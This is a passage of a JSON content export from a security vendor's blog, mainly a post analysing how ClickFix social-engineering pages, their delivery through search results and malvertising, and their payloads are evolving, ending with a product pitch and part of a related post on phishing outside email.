attacks.","2025-11-13T00:00:00.000Z","scattered-lapsus-hunters",{"items":12055},[12056,12058],{"sys":12057,"name":2663},{"id":2662},{"sys":12059,"name":342},{"id":2666},{"items":12061},[12062],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":12063},{"url":2674},"2025-top-phishing-trends","blog/2025-top-phishing-trends",{"json":12067},{"data":12068,"content":12069,"nodeType":1663},{},[12070],{"data":12071,"content":12072,"nodeType":866},{},[12073],{"data":12074,"marks":12075,"value":12076,"nodeType":865},{},[],"Phishing attacks changed a lot through 2025. Here's the top trends from this year and what they mean for security teams heading into 2026. \n","Analyzing the key trends that defined phishing attacks in 2025, and what these changes mean for security teams heading into 2026. ",{"id":12079,"publishedAt":12080},"5CqV6e5wfHsfEVczkWSerZ","2026-08-12T11:53:25.080Z",{"items":12082},[12083,12085],{"sys":12084,"name":342},{"id":2666},{"sys":12086,"name":2663},{"id":2662},{"items":12088},[12089,12091,12093,12095,12097,12099,12101,12103,12105,12107,12109,12111,12113,12115,12117,12119,12121,12123,12125,12127,12129,12131],{"sys":12090,"name":279,"slug":280,"tier":31},{"id":276},{"sys":12092,"name":413,"slug":414,"tier":31},{"id":410},{"sys":12094,"name":519,"slug":520,"tier":31},{"id":516},{"sys":12096,"name":642,"slug":643,"tier":31},{"id":639},{"sys":12098,"name":342,"slug":343,"tier":31},{"id":339},{"sys":12100,"name":261,"slug":262,"tier":45},{"id":258},{"sys":12102,"name":315,"slug":316,"tier":45},{"id":312},{"sys":12104,"name":324,"slug":325,"tier":45},{"id":321},{"sys":12106,"name":466,"slug":467,"tier":45},{"id":463},{"sys":12108,"name":511,"slug":512,"tier":45},{"id":508},{"sys":12110,"name":440,"slug":441,"tier":45},{"id":437},{"sys":12112,"name":563,"slug":564,"tier":45},{"id":560},{"sys":12114,"name":475,"slug":476,"tier":45},{"id":472},{"sys":12116,"name":607,"slug":608,"tier":45},{"id":604},{"sys":12118,"name":484,"slug":485,"tier":45},{"id":481},{"sys":12120,"name":360,"slug":361,"tier":45},{"id":357},{"sys":12122,"name":288,"slug":289,"tier":45},{"id":285},{"sys":12124,"name":422,"slug":423,"tier":45},{"id":419},{"sys":12126,"name":571,"slug":572,"tier":45},{"id":568},{"sys":12128,"name":431,"slug":432,"tier":45},{"id":428},{"sys":12130,"name":493,"slug":494,"tier":45},{"id":490},{"sys":12132,"name":404,"slug":405,"tier":45},{"id":401},"7YvVxDfBfBbYwky5xPf7erTDCzlAGNd3QktYmRe96W8",{"id":12135,"title":12136,"authorsCollection":12137,"content":12142,"extension":228,"faqItemsCollection":12790,"faqTitle":59,"featured":6,"hashTags":59,"meta":12792,"metaTitle":12793,"ogImage":59,"postType":1797,"publishedDate":12794,"relatedBlogPostsCollection":12795,"slug":14666,"stem":14667,"subtitle":59,"summary":14668,"synopsis":14678,"sys":14679,"tagsCollection":14682,"topicsCollection":14688,"__hash__":14716},"blog/blog/the-most-advanced-clickfix-yet.json","The most advanced ClickFix yet?",{"items":12138},[12139],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":12140,"profilePicture":12141},[8871],{"url":2674},{"json":12143,"links":12715},{"data":12144,"content":12145,"nodeType":1663},{},[12146,12153,12160,12172,12177,12184,12187,12195,12202,12208,12224,12231,12254,12261,12267,12270,12278,12310,12316,12335,12341,12360,12367,12373,12376,12384,12391,12411,12418,12438,12445,12451,12454,12462,12469,12502,12509,12516,12562,12580,12590,12597,12600,12608,12628,12635,12642,12648,12651,12658,12678,12704,12709],{"data":12147,"content":12148,"nodeType":866},{},[12149],{"data":12150,"marks":12151,"value":12152,"nodeType":865},{},[],"ClickFix attacks have skyrocketed in the last year. This social engineering attack has established itself as a key part of the modern attacker’s toolkit, tricking victims into running malicious code on their device.",{"data":12154,"content":12155,"nodeType":866},{},[12156],{"data":12157,"marks":12158,"value":12159,"nodeType":865},{},[],"As we showcased in our last webinar and at our threat briefing in London earlier this month, ClickFix is evolving fast, in terms of the web pages themselves, the delivery mechanisms by which they are sent to victims, and the nature of the payload and its execution.",{"data":12161,"content":12162,"nodeType":866},{},[12163,12167],{"data":12164,"marks":12165,"value":12166,"nodeType":865},{},[],"One particular example stood out to us in our research. ",{"data":12168,"marks":12169,"value":12171,"nodeType":865},{},[12170],{"type":935},"So, is this the most advanced ClickFix you’ve seen?",{"data":12173,"content":12176,"nodeType":921},{"target":12174},{"sys":12175},{"id":9929,"type":918,"linkType":919},[],{"data":12178,"content":12179,"nodeType":866},{},[12180],{"data":12181,"marks":12182,"value":12183,"nodeType":865},{},[],"Let’s break it down further.",{"data":12185,"content":12186,"nodeType":944},{},[],{"data":12188,"content":12189,"nodeType":953},{},[12190],{"data":12191,"marks":12192,"value":12194,"nodeType":865},{},[12193],{"type":935},"How ClickFix pages are evolving",{"data":12196,"content":12197,"nodeType":866},{},[12198],{"data":12199,"marks":12200,"value":12201,"nodeType":865},{},[],"The CloudFlare-based lure is a great example of how ClickFix pages themselves are evolving — and becoming increasingly convincing to users. ",{"data":12203,"content":12207,"nodeType":921},{"target":12204},{"sys":12205},{"id":12206,"type":918,"linkType":919},"4wJOgtofImjbsekyXMc5Ec",[],{"data":12209,"content":12210,"nodeType":866},{},[12211,12215,12220],{"data":12212,"marks":12213,"value":12214,"nodeType":865},{},[],"This is an incredibly slick example — ",{"data":12216,"marks":12217,"value":12219,"nodeType":865},{},[12218],{"type":935},"it almost looks like Cloudflare shipped a new kind of bot check service. ",{"data":12221,"marks":12222,"value":12223,"nodeType":865},{},[],"The embedded video, countdown timer, and counter for “users verified in the last hour” all serve to increase the sense of authenticity, and put extra pressure on the victim to complete the check. ",{"data":12225,"content":12226,"nodeType":866},{},[12227],{"data":12228,"marks":12229,"value":12230,"nodeType":865},{},[],"There are a couple of extra things happening under the hood here, too:",{"data":12232,"content":12233,"nodeType":2374},{},[12234,12244],{"data":12235,"content":12236,"nodeType":2309},{},[12237],{"data":12238,"content":12239,"nodeType":866},{},[12240],{"data":12241,"marks":12242,"value":12243,"nodeType":865},{},[],"The page is adapting to the device that you’re visiting from, serving up instructions specific to the user’s Mac (increasingly common as ClickFix expands to support different Operating Systems).",{"data":12245,"content":12246,"nodeType":2309},{},[12247],{"data":12248,"content":12249,"nodeType":866},{},[12250],{"data":12251,"marks":12252,"value":12253,"nodeType":865},{},[],"The page is automatically copying the malicious code to the user’s clipboard via JavaScript (which we see in 9/10 cases).",{"data":12255,"content":12256,"nodeType":866},{},[12257],{"data":12258,"marks":12259,"value":12260,"nodeType":865},{},[],"For the past decade or more, user awareness has focused on stopping users from clicking links in suspicious emails, downloading risky files, and entering their username and password into random websites. It hasn’t focused on opening up a program and running a command — so it’s no surprise that this kind of highly convincing page is so effective at duping victims into following the instructions. ",{"data":12262,"content":12266,"nodeType":921},{"target":12263},{"sys":12264},{"id":12265,"type":918,"linkType":919},"LiVIyGxdAaUXUfvKjD6ON",[],{"data":12268,"content":12269,"nodeType":944},{},[],{"data":12271,"content":12272,"nodeType":953},{},[12273],{"data":12274,"marks":12275,"value":12277,"nodeType":865},{},[12276],{"type":935},"How ClickFix delivery methods are evolving",{"data":12279,"content":12280,"nodeType":866},{},[12281,12285,12293,12297,12306],{"data":12282,"marks":12283,"value":12284,"nodeType":865},{},[],"There’s also the fact that this page wasn’t accessed via email. The top delivery vector for ClickFix attacks that we’ve observed is, in fact, Google Search — in the form of ",{"data":12286,"content":12287,"nodeType":889},{"uri":9940},[12288],{"data":12289,"marks":12290,"value":12292,"nodeType":865},{},[12291],{"type":1191},"poisoned search results and malicious advertising (malvertising)",{"data":12294,"marks":12295,"value":12296,"nodeType":865},{},[],". Attackers are either taking over legitimate sites (there’s a ",{"data":12298,"content":12300,"nodeType":889},{"uri":12299},"https://www.bleepingcomputer.com/news/security/hackers-launch-mass-attacks-exploiting-outdated-wordpress-plugins/",[12301],{"data":12302,"marks":12303,"value":12305,"nodeType":865},{},[12304],{"type":1191},"steady supply of website hosting and CMS vulnerabilities",{"data":12307,"marks":12308,"value":12309,"nodeType":865},{},[]," to take advantage of) or simply vibe-coding their own sites and optimizing them for various search terms. ",{"data":12311,"content":12315,"nodeType":921},{"target":12312},{"sys":12313},{"id":12314,"type":918,"linkType":919},"6N9EmH6AaN6Hr4xk6ozATR",[],{"data":12317,"content":12318,"nodeType":866},{},[12319,12323,12332],{"data":12320,"marks":12321,"value":12322,"nodeType":865},{},[],"And because most anti-phishing controls are implemented via email, by using ",{"data":12324,"content":12326,"nodeType":889},{"uri":12325},"https://pushsecurity.com/blog/why-attackers-are-moving-beyond-email-based-phishing?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[12327],{"data":12328,"marks":12329,"value":12331,"nodeType":865},{},[12330],{"type":1191},"non-email delivery vectors, an entire layer of detection opportunity is cut out",{"data":12333,"marks":12334,"value":3017,"nodeType":865},{},[],{"data":12336,"content":12340,"nodeType":921},{"target":12337},{"sys":12338},{"id":12339,"type":918,"linkType":919},"1CWsZlLFX9TS53J1uamOG8",[],{"data":12342,"content":12343,"nodeType":866},{},[12344,12348,12356],{"data":12345,"marks":12346,"value":12347,"nodeType":865},{},[],"But even when they are sent via email, ClickFix pages, like other modern phishing sites, are using a range of ",{"data":12349,"content":12351,"nodeType":889},{"uri":12350},"https://pushsecurity.com/blog/phishing-detection-evasion-launch?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[12352],{"data":12353,"marks":12354,"value":9135,"nodeType":865},{},[12355],{"type":1191},{"data":12357,"marks":12358,"value":12359,"nodeType":865},{},[]," that prevent them being flagged by security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. Detection evasion mainly involves camouflaging and rotating domains to stay ahead of known-bad detections (i.e. blocklists), using bot protection to prevent analysis, and heavily obfuscating page content to stop detection signatures firing. ",{"data":12361,"content":12362,"nodeType":866},{},[12363],{"data":12364,"marks":12365,"value":12366,"nodeType":865},{},[],"Finally, because the code is copied inside the browser sandbox, typical security tools are unable to observe and flag this action as potentially malicious. This means that the last — and only — opportunity for organizations to stop ClickFix is on the endpoint, after the user has attempted to run the malicious code.",{"data":12368,"content":12372,"nodeType":921},{"target":12369},{"sys":12370},{"id":12371,"type":918,"linkType":919},"3HiqpIBWWMr5FMi3IBzXcc",[],{"data":12374,"content":12375,"nodeType":944},{},[],{"data":12377,"content":12378,"nodeType":953},{},[12379],{"data":12380,"marks":12381,"value":12383,"nodeType":865},{},[12382],{"type":935},"How ClickFix payloads are evolving",{"data":12385,"content":12386,"nodeType":866},{},[12387],{"data":12388,"marks":12389,"value":12390,"nodeType":865},{},[],"It’s not just the ClickFix page and delivery mechanisms that are evolving — the services where code is being run, and the type of payload, are also increasingly varied. ",{"data":12392,"content":12393,"nodeType":866},{},[12394,12398,12407],{"data":12395,"marks":12396,"value":12397,"nodeType":865},{},[],"While the main payloads observed by Push are mshta and PowerShell, ",{"data":12399,"content":12401,"nodeType":889},{"uri":12400},"https://mhaggis.github.io/ClickGrab/techniques.html",[12402],{"data":12403,"marks":12404,"value":12406,"nodeType":865},{},[12405],{"type":1191},"attackers are abusing a wide range of LOLBINS",{"data":12408,"marks":12409,"value":12410,"nodeType":865},{},[]," targeting different services across Operating Systems.",{"data":12412,"content":12413,"nodeType":866},{},[12414],{"data":12415,"marks":12416,"value":12417,"nodeType":865},{},[],"While it is possible to disable the Win+R dialog box and limit the applications that can be run from the File Explorer address bar, it is not possible to similarly restrict users from interacting with other legitimate services to run malicious commands. ",{"data":12419,"content":12420,"nodeType":866},{},[12421,12425,12434],{"data":12422,"marks":12423,"value":12424,"nodeType":865},{},[],"Another recent example termed ",{"data":12426,"content":12428,"nodeType":889},{"uri":12427},"https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/",[12429],{"data":12430,"marks":12431,"value":12433,"nodeType":865},{},[12432],{"type":1191},"cache smuggling",{"data":12435,"marks":12436,"value":12437,"nodeType":865},{},[]," was also identified by security researchers. This technique combines a ClickFix approach with JavaScript that caches a malicious file posing as a JPG. This means that the ClickFix command executes locally — effectively getting an entire zip file onto the local system without the PowerShell command needing to make any web requests.",{"data":12439,"content":12440,"nodeType":866},{},[12441],{"data":12442,"marks":12443,"value":12444,"nodeType":865},{},[],"Finally, it’s worth considering the future of ClickFix. The current attack path straddles browser and endpoint — what if it could take place entirely in the browser and evade EDR altogether? ",{"data":12446,"content":12450,"nodeType":921},{"target":12447},{"sys":12448},{"id":12449,"type":918,"linkType":919},"2rUDKawJnrmZVtxfNcSNha",[],{"data":12452,"content":12453,"nodeType":944},{},[],{"data":12455,"content":12456,"nodeType":953},{},[12457],{"data":12458,"marks":12459,"value":12461,"nodeType":865},{},[12460],{"type":935},"What’s the impact of ClickFix evolution?",{"data":12463,"content":12464,"nodeType":866},{},[12465],{"data":12466,"marks":12467,"value":12468,"nodeType":865},{},[],"To summarize:",{"data":12470,"content":12471,"nodeType":2374},{},[12472,12482,12492],{"data":12473,"content":12474,"nodeType":2309},{},[12475],{"data":12476,"content":12477,"nodeType":866},{},[12478],{"data":12479,"marks":12480,"value":12481,"nodeType":865},{},[],"ClickFix pages are becoming increasingly sophisticated, making it more likely that victims will fall for the social engineering.",{"data":12483,"content":12484,"nodeType":2309},{},[12485],{"data":12486,"content":12487,"nodeType":866},{},[12488],{"data":12489,"marks":12490,"value":12491,"nodeType":865},{},[],"ClickFix delivery is evading traditional monitoring controls at the email layer to reach victims. ",{"data":12493,"content":12494,"nodeType":2309},{},[12495],{"data":12496,"content":12497,"nodeType":866},{},[12498],{"data":12499,"marks":12500,"value":12501,"nodeType":865},{},[],"ClickFix payloads are becoming more varied and are finding new ways to evade security controls. ",{"data":12503,"content":12504,"nodeType":866},{},[12505],{"data":12506,"marks":12507,"value":12508,"nodeType":865},{},[],"This means that EDR-based interception of malware execution is the last — and only — real line of defense for most organizations, kicking in after the initial script has been run (typically acting as a stager for the real malware). ",{"data":12510,"content":12511,"nodeType":866},{},[12512],{"data":12513,"marks":12514,"value":12515,"nodeType":865},{},[],"Malware execution can and should be intercepted by EDR, but it’s not foolproof. ",{"data":12517,"content":12518,"nodeType":2374},{},[12519,12542,12552],{"data":12520,"content":12521,"nodeType":2309},{},[12522],{"data":12523,"content":12524,"nodeType":866},{},[12525,12529,12538],{"data":12526,"marks":12527,"value":12528,"nodeType":865},{},[],"Attackers are constantly ",{"data":12530,"content":12532,"nodeType":889},{"uri":12531},"https://www.infostealers.com/article/logins-zip-leverages-chromium-zero-day-stealthy-infostealer-builder-promises-99-credential-theft-in-under-12-seconds/",[12533],{"data":12534,"marks":12535,"value":12537,"nodeType":865},{},[12536],{"type":1191},"developing new tools and capabilities",{"data":12539,"marks":12540,"value":12541,"nodeType":865},{},[]," to bypass EDR in the cat-and-mouse game between attackers and defenders.",{"data":12543,"content":12544,"nodeType":2309},{},[12545],{"data":12546,"content":12547,"nodeType":866},{},[12548],{"data":12549,"marks":12550,"value":12551,"nodeType":865},{},[],"Because ClickFix attacks are user initiated, context might be missing that lead to the alert being misclassified. This can mean the difference between the level of priority alert that is raised, and whether or not it is automatically blocked.",{"data":12553,"content":12554,"nodeType":2309},{},[12555],{"data":12556,"content":12557,"nodeType":866},{},[12558],{"data":12559,"marks":12560,"value":12561,"nodeType":865},{},[],"If you’re an organization that allows employees and contractors to use unmanaged BYOD devices, there’s a strong chance that there are gaps in your EDR coverage.",{"data":12563,"content":12564,"nodeType":866},{},[12565,12569,12576],{"data":12566,"marks":12567,"value":12568,"nodeType":865},{},[],"This is why attackers are doubling down. According to the ",{"data":12570,"content":12571,"nodeType":889},{"uri":11831},[12572],{"data":12573,"marks":12574,"value":12575,"nodeType":865},{},[],"2025 Microsoft Digital Defense report",{"data":12577,"marks":12578,"value":12579,"nodeType":865},{},[],", ClickFix was the most common initial access method in the last year, accounting for 47% of attacks. That's a pretty significant stat.",{"data":12581,"content":12582,"nodeType":7191},{},[12583],{"data":12584,"content":12585,"nodeType":866},{},[12586],{"data":12587,"marks":12588,"value":12589,"nodeType":865},{},[],"47% of attacks started with ClickFix in the last year, according to Microsoft.",{"data":12591,"content":12592,"nodeType":866},{},[12593],{"data":12594,"marks":12595,"value":12596,"nodeType":865},{},[],"Ultimately, organizations are leaving themselves relying on a single line of defense — if the attack isn’t detected and blocked by EDR, it isn’t spotted at all. ",{"data":12598,"content":12599,"nodeType":944},{},[],{"data":12601,"content":12602,"nodeType":953},{},[12603],{"data":12604,"marks":12605,"value":12607,"nodeType":865},{},[12606],{"type":935},"Don’t gamble on a single point of failure ",{"data":12609,"content":12610,"nodeType":866},{},[12611,12615,12624],{"data":12612,"marks":12613,"value":12614,"nodeType":865},{},[],"Push Security’s latest feature, ",{"data":12616,"content":12618,"nodeType":889},{"uri":12617},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[12619],{"data":12620,"marks":12621,"value":12623,"nodeType":865},{},[12622],{"type":1191},"malicious copy and paste detection",{"data":12625,"marks":12626,"value":12627,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking. This is a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":12629,"content":12630,"nodeType":866},{},[12631],{"data":12632,"marks":12633,"value":12634,"nodeType":865},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity.",{"data":12636,"content":12637,"nodeType":866},{},[12638],{"data":12639,"marks":12640,"value":12641,"nodeType":865},{},[],"By adding a new layer of protection in the browser, security teams can reduce the strain on their EDR and reduce the risk of host-based controls being bypassed through misconfiguration or attacker innovation. ",{"data":12643,"content":12647,"nodeType":921},{"target":12644},{"sys":12645},{"id":12646,"type":918,"linkType":919},"sALkMt8UbTZ2f34hKvGLj",[],{"data":12649,"content":12650,"nodeType":944},{},[],{"data":12652,"content":12653,"nodeType":953},{},[12654],{"data":12655,"marks":12656,"value":6592,"nodeType":865},{},[12657],{"type":935},{"data":12659,"content":12660,"nodeType":866},{},[12661,12665,12674],{"data":12662,"marks":12663,"value":12664,"nodeType":865},{},[],"If you want to learn more about ClickFix attacks and how they’re evolving, ",{"data":12666,"content":12668,"nodeType":889},{"uri":12667},"https://pushsecurity.com/resources/clickfix",[12669],{"data":12670,"marks":12671,"value":12673,"nodeType":865},{},[12672],{"type":1191},"check out our latest webinar (now available on-demand!)",{"data":12675,"marks":12676,"value":12677,"nodeType":865},{},[]," where we dive into real-world ClickFix examples and demonstrate how ClickFix sites work under the hood. ",{"data":12679,"content":12680,"nodeType":866},{},[12681,12684,12691,12694,12701],{"data":12682,"marks":12683,"value":9514,"nodeType":865},{},[],{"data":12685,"content":12686,"nodeType":889},{"uri":3192},[12687],{"data":12688,"marks":12689,"value":3198,"nodeType":865},{},[12690],{"type":1191},{"data":12692,"marks":12693,"value":9525,"nodeType":865},{},[],{"data":12695,"content":12696,"nodeType":889},{"uri":2644},[12697],{"data":12698,"marks":12699,"value":3223,"nodeType":865},{},[12700],{"type":1191},{"data":12702,"marks":12703,"value":1066,"nodeType":865},{},[],{"data":12705,"content":12708,"nodeType":921},{"target":12706},{"sys":12707},{"id":12265,"type":918,"linkType":919},[],{"data":12710,"content":12711,"nodeType":866},{},[12712],{"data":12713,"marks":12714,"value":21,"nodeType":865},{},[],{"entries":12716},{"hyperlink":12717,"inline":12718,"block":12719},[],[],[12720,12725,12730,12734,12757,12764,12778,12785],{"sys":12721,"__typename":12722,"title":12136,"arcadeDemoUrl":12723,"playText":12724},{"id":9929},"ArcadeDemo","https://demo.arcade.software/yQIHbuD990Dk5CjI1cvS?embed","1 mins",{"sys":12726,"__typename":1671,"title":12727,"caption":12727,"layoutMode":59,"file":12728},{"id":12206},"The most advanced ClickFix page we’ve seen — complete with an embedded video showing the victim how to complete the check.",{"url":12729,"width":1675,"height":9619},"https://images.ctfassets.net/y1cdw1ablpvd/ImveC0bIdp4QxXqHyQKz9/526f7ae589f71d0c23c7c738b8d0bc90/image3.png",{"sys":12731,"__typename":6765,"type":6766,"ctaText":12732,"buttonLabel":12733,"buttonColour":6769,"buttonUrl":12667},{"id":12265},"Check out our latest webinar for a deep dive into the evolution of ClickFix-style attacks, with real-world examples from investigations.","Watch On-demand",{"sys":12735,"__typename":1679,"content":12736,"name":12756,"title":59},{"id":12314},{"json":12737},{"data":12738,"content":12739,"nodeType":1663},{},[12740],{"data":12741,"content":12742,"nodeType":866},{},[12743,12747,12752],{"data":12744,"marks":12745,"value":12746,"nodeType":865},{},[],"Of the ClickFix pages intercepted by Push where the delivery vector was observed, ",{"data":12748,"marks":12749,"value":12751,"nodeType":865},{},[12750],{"type":935},"4 in 5 were accessed via Google Search.",{"data":12753,"marks":12754,"value":12755,"nodeType":865},{},[]," While other examples may have been stopped by controls such as email before the page could be loaded by the user, this shows a significant monitoring gap when it comes to non-email delivery vectors.","ClickFix blog insight box 2",{"sys":12758,"__typename":1671,"title":12759,"caption":12759,"layoutMode":59,"file":12760},{"id":12339},"Like other modern phishing attacks, ClickFix lures are distributed all over the internet — not just email.",{"url":12761,"width":12762,"height":12763},"https://images.ctfassets.net/y1cdw1ablpvd/4l0xLRs8Z1w3aXMbzzyFPL/9cb4721c53379da31a4019371072a7ef/image1.png",1696,986,{"sys":12765,"__typename":1679,"content":12766,"name":12777,"title":59},{"id":12371},{"json":12767},{"data":12768,"content":12769,"nodeType":1663},{},[12770],{"data":12771,"content":12772,"nodeType":866},{},[12773],{"data":12774,"marks":12775,"value":12776,"nodeType":865},{},[],"Although there are ways to block web pages from performing copy to clipboard via device settings or group policy, the practical reality of ClickFix means that these methods are not effective. Because ClickFix is a user gesture initiated paste event (some form of user interaction such as a button press is required on the page before loading the ClickFix lure) it cannot be blocked from the host.","ClickFix insight box 1",{"sys":12779,"__typename":1671,"title":12780,"caption":12780,"layoutMode":59,"file":12781},{"id":12449},"The current hybrid attack path sees the attacker deliver lures in the browser, to compromise the endpoint, to get access to creds and cookies stored in the browser. What if you could skip the endpoint altogether? ",{"url":12782,"width":12783,"height":12784},"https://images.ctfassets.net/y1cdw1ablpvd/7kIZUmQkiHKKX0kjZQYfia/a7957baa43f54fe407779e845240e27e/image2.png",1970,816,{"sys":12786,"__typename":12722,"title":12787,"arcadeDemoUrl":12788,"playText":12789},{"id":12646},"ClickFix Feature Release","https://demo.arcade.software/qhzGMAx2q3b6IRlHqBsB?embed","2 mins",{"items":12791},[],{},"Analyzing sophisticated ClickFix lures seen in the wild","2025-11-06T00:00:00.000Z",{"items":12796},[12797,13371,14008],{"__typename":1802,"sys":12798,"content":12800,"title":13357,"synopsis":13358,"hashTags":59,"publishedDate":13359,"slug":13360,"tagsCollection":13361,"authorsCollection":13367},{"id":12799},"4wtqKNN8D4tvbICAQ17L1Z",{"json":12801},{"data":12802,"content":12803,"nodeType":1663},{},[12804,12812,12819,12826,12833,12839,12842,12850,12857,12864,12880,12924,12930,12937,12953,12960,12966,12969,12977,12984,13000,13020,13038,13058,13065,13068,13076,13095,13127,13133,13139,13142,13150,13169,13189,13196,13216,13222,13228,13231,13239,13246,13253,13285,13292,13295,13303,13310,13317,13324,13331],{"data":12805,"content":12806,"nodeType":953},{},[12807],{"data":12808,"marks":12809,"value":12811,"nodeType":865},{},[12810],{"type":935},"Phishing has moved outside of the mailbox",{"data":12813,"content":12814,"nodeType":866},{},[12815],{"data":12816,"marks":12817,"value":12818,"nodeType":865},{},[],"Because of the changes to working practices, employees are more accessible than ever to external attackers. Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. ",{"data":12820,"content":12821,"nodeType":866},{},[12822],{"data":12823,"marks":12824,"value":12825,"nodeType":865},{},[],"But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content.",{"data":12827,"content":12828,"nodeType":866},{},[12829],{"data":12830,"marks":12831,"value":12832,"nodeType":865},{},[],"Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration.",{"data":12834,"content":12838,"nodeType":921},{"target":12835},{"sys":12836},{"id":12837,"type":918,"linkType":919},"1tDciIJqKnNoR4FqZChjTy",[],{"data":12840,"content":12841,"nodeType":944},{},[],{"data":12843,"content":12844,"nodeType":953},{},[12845],{"data":12846,"marks":12847,"value":12849,"nodeType":865},{},[12848],{"type":935},"Why am I not hearing about this more? ",{"data":12851,"content":12852,"nodeType":866},{},[12853],{"data":12854,"marks":12855,"value":12856,"nodeType":865},{},[],"Phishing attacks outside of email usually go unreported. This is to be expected when most of the industry’s data on phishing attacks comes from email security vendors and tools. ",{"data":12858,"content":12859,"nodeType":866},{},[12860],{"data":12861,"marks":12862,"value":12863,"nodeType":865},{},[],"If phishing bypasses the email layer, most organizations are left relying on user reported attacks. Some organizations might supplement this with a web proxy, but these are being increasingly defeated by modern phishing kits, which use an array of obfuscation and detection evasion techniques to bypass these detections. ",{"data":12865,"content":12866,"nodeType":866},{},[12867,12871,12876],{"data":12868,"marks":12869,"value":12870,"nodeType":865},{},[],"The most valuable information for security teams today is the webpage that is loaded ",{"data":12872,"marks":12873,"value":12875,"nodeType":865},{},[12874],{"type":965},"through",{"data":12877,"marks":12878,"value":12879,"nodeType":865},{},[]," the network traffic: What does the HTML body look like? What is the user likely seeing on the page? To do this, you need to stitch together and reconstruct what the browser is doing by looking at the network data. Except for very simple websites, this happens through JavaScript on the client side. ",{"data":12881,"content":12882,"nodeType":866},{},[12883,12887,12896,12899,12908,12911,12920],{"data":12884,"marks":12885,"value":12886,"nodeType":865},{},[],"This is hard enough when analysing a typical SaaS app. But the latest generation of fully customized Attacker-in-the-Middle (AitM) phishing kits are going out of their way to make this as challenging as possible, using techniques like ",{"data":12888,"content":12890,"nodeType":889},{"uri":12889},"https://phishing-techniques.pushsecurity.com/techniques/dom-obfuscation/",[12891],{"data":12892,"marks":12893,"value":12895,"nodeType":865},{},[12894],{"type":1191},"DOM obfuscation",{"data":12897,"marks":12898,"value":3202,"nodeType":865},{},[],{"data":12900,"content":12902,"nodeType":889},{"uri":12901},"https://phishing-techniques.pushsecurity.com/techniques/page-obfuscation/",[12903],{"data":12904,"marks":12905,"value":12907,"nodeType":865},{},[12906],{"type":1191},"Page obfuscation",{"data":12909,"marks":12910,"value":9127,"nodeType":865},{},[],{"data":12912,"content":12914,"nodeType":889},{"uri":12913},"https://phishing-techniques.pushsecurity.com/techniques/code-obfuscation/",[12915],{"data":12916,"marks":12917,"value":12919,"nodeType":865},{},[12918],{"type":1191},"Code obfuscation",{"data":12921,"marks":12922,"value":12923,"nodeType":865},{},[]," so all you see at a network layer is a garbled, obfuscated mess of JS code.",{"data":12925,"content":12929,"nodeType":921},{"target":12926},{"sys":12927},{"id":12928,"type":918,"linkType":919},"71QsaPju68i5QiJcgQlHDs",[],{"data":12931,"content":12932,"nodeType":866},{},[12933],{"data":12934,"marks":12935,"value":12936,"nodeType":865},{},[],"So, non-email phishing is going broadly undetected through technical controls. And even when spotted and reported by a user — what can you really do about it?",{"data":12938,"content":12939,"nodeType":866},{},[12940,12944,12949],{"data":12941,"marks":12942,"value":12943,"nodeType":865},{},[],"Take a social media phish. You can’t see which other accounts were targeted or hit in your user base. Unlike email, there’s no way to recall or quarantine the same message hitting multiple users. There’s no rule you can modify, or senders you can block. You can report the account, and ",{"data":12945,"marks":12946,"value":12948,"nodeType":865},{},[12947],{"type":965},"maybe",{"data":12950,"marks":12951,"value":12952,"nodeType":865},{},[]," something will happen when the site owner gets around to it — but the attacker has probably got what they needed by then and moved on. ",{"data":12954,"content":12955,"nodeType":866},{},[12956],{"data":12957,"marks":12958,"value":12959,"nodeType":865},{},[],"Most organizations simply block the URLs involved. But this doesn’t really help when attackers are rapidly rotating their phishing domains — by the time you block one site, another three have already taken its place. ",{"data":12961,"content":12965,"nodeType":921},{"target":12962},{"sys":12963},{"id":12964,"type":918,"linkType":919},"1II2kHyOZcShLsexx1TAgy",[],{"data":12967,"content":12968,"nodeType":944},{},[],{"data":12970,"content":12971,"nodeType":953},{},[12972],{"data":12973,"marks":12974,"value":12976,"nodeType":865},{},[12975],{"type":935},"But aren’t these just personal accounts?",{"data":12978,"content":12979,"nodeType":866},{},[12980],{"data":12981,"marks":12982,"value":12983,"nodeType":865},{},[],"Modern phishing attacks blur the boundary between corporate and personal. The fact is that your employees are routinely accessing personal messaging and social media apps on their corporate devices. Users are signed into apps like LinkedIn, X, WhatsApp, Signal, even message boards like Reddit on their work laptop and/or mobile devices. And with malicious links being found on search engines (aka. malvertising), they can even stumble upon them while browsing the web normally.",{"data":12985,"content":12986,"nodeType":866},{},[12987,12991,12996],{"data":12988,"marks":12989,"value":12990,"nodeType":865},{},[],"In short: anywhere that your users can be contacted by someone outside of your organization presents an opportunity for phishing. In fact, in most of these cases people ",{"data":12992,"marks":12993,"value":12995,"nodeType":865},{},[12994],{"type":935},"expect ",{"data":12997,"marks":12998,"value":12999,"nodeType":865},{},[],"to be contacted by people they don’t know. ",{"data":13001,"content":13002,"nodeType":866},{},[13003,13007,13016],{"data":13004,"marks":13005,"value":13006,"nodeType":865},{},[],"It’s also a myth that campaigns can’t be targeted in the same way on these platforms, that they’re somehow more random and therefore less dangerous. For example, social media accounts are some of the easiest for attackers to create en masse — or take over. According to the most recent ",{"data":13008,"content":13010,"nodeType":889},{"uri":13009},"https://www.verizon.com/business/resources/T149/reports/2025-dbir-data-breach-investigations-report.pdf",[13011],{"data":13012,"marks":13013,"value":13015,"nodeType":865},{},[13014],{"type":1191},"Verizon 